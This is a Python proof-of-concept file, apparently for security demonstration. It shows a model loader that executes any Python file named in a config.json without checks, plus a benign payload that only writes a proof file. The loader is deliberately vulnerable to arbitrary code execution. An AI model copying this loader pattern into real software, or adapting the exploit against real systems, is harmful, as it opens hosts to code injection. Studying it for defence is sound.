Vulnerable code sample

import os
import json
import sys
import importlib.util

# This function simulates the vulnerable model loading mechanism.
# It reads a config.json, finds a 'model_file' field, and if it points
# to a Python file, it executes it without any safety checks.
def vulnerable_model_loader(model_path: str):
    config_path = os.path.join(model_path, "config.json")

    with open(config_path, "r") as f:
        config = json.load(f)

    # The vulnerability lies in unconditionally trusting the 'model_file' field.
    model_file_name = config.get("model_file")

    if model_file_name and model_file_name.endswith(".py"):
        module_path = os.path.join(model_path, model_file_name)
        module_name = model_file_name.split(".")[0]

        print(f"[+] Found Python file in config: {module_path}")
        print(f"[!] Executing '{module_path}' due to missing trust check...")

        # Core of the vulnerability: import and execute the specified file.
        spec = importlib.util.spec_from_file_location(module_name, module_path)
        if spec and spec.loader:
            malicious_module = importlib.util.module_from_spec(spec)
            sys.modules[module_name] = malicious_module
            spec.loader.exec_module(malicious_module)
        else:
            print(f"[-] Failed to create module spec for {module_path}")


# --- Demonstration Setup ---
if __name__ == "__main__":
    MALICIOUS_MODEL_DIR = "malicious_model_dir"
    PAYLOAD_FILE = "malicious_code.py"
    PROOF_OF_EXECUTION_FILE = "pwned.txt"

    # 1. Create a fake "malicious model" directory.
    os.makedirs(MALICIOUS_MODEL_DIR, exist_ok=True)

    # 2. Create the malicious config.json pointing to a Python file.
    config_content = {"model_file": PAYLOAD_FILE}
    with open(os.path.join(MALICIOUS_MODEL_DIR, "config.json"), "w") as f:
        json.dump(config_content, f)

    # 3. Create the Python file payload.
    payload_content = f"""
import os
print("-------------------------------------------------")
print("!!! PWNED: ARBITRARY CODE EXECUTION SUCCESSFUL !!!")
print("!!! This code is running on the host machine.   !!!")
with open('{PROOF_OF_EXECUTION_FILE}', 'w') as f:
    f.write('This file was created by the exploited process.')
print("!!! Created proof file: {PROOF_OF_EXECUTION_FILE} !!!")
print("-------------------------------------------------")
"""
    with open(os.path.join(MALICIOUS_MODEL_DIR, PAYLOAD_FILE), "w") as f:
        f.write(payload_content)

    print(f"[*] Simulating model runner loading from './{MALICIOUS_MODEL_DIR}/'")

    # 4. Trigger the vulnerability.
    try:
        vulnerable_model_loader(MALICIOUS_MODEL_DIR)
    except Exception as e:
        print(f"[!] An error occurred: {e}")

    # 5. Verify the exploit and clean up.
    if os.path.exists(PROOF_OF_EXECUTION_FILE):
        print(f"\n[+] Verification successful: '{PROOF_OF_EXECUTION_FILE}' found.")
        os.remove(PROOF_OF_EXECUTION_FILE)
    else:
        print(f"\n[-] Verification failed: '{PROOF_OF_EXECUTION_FILE}' not found.")

    os.remove(os.path.join(MALICIOUS_MODEL_DIR, "config.json"))
    os.remove(os.path.join(MALICIOUS_MODEL_DIR, PAYLOAD_FILE))
    os.rmdir(MALICIOUS_MODEL_DIR)
    print("[*] Cleanup complete.")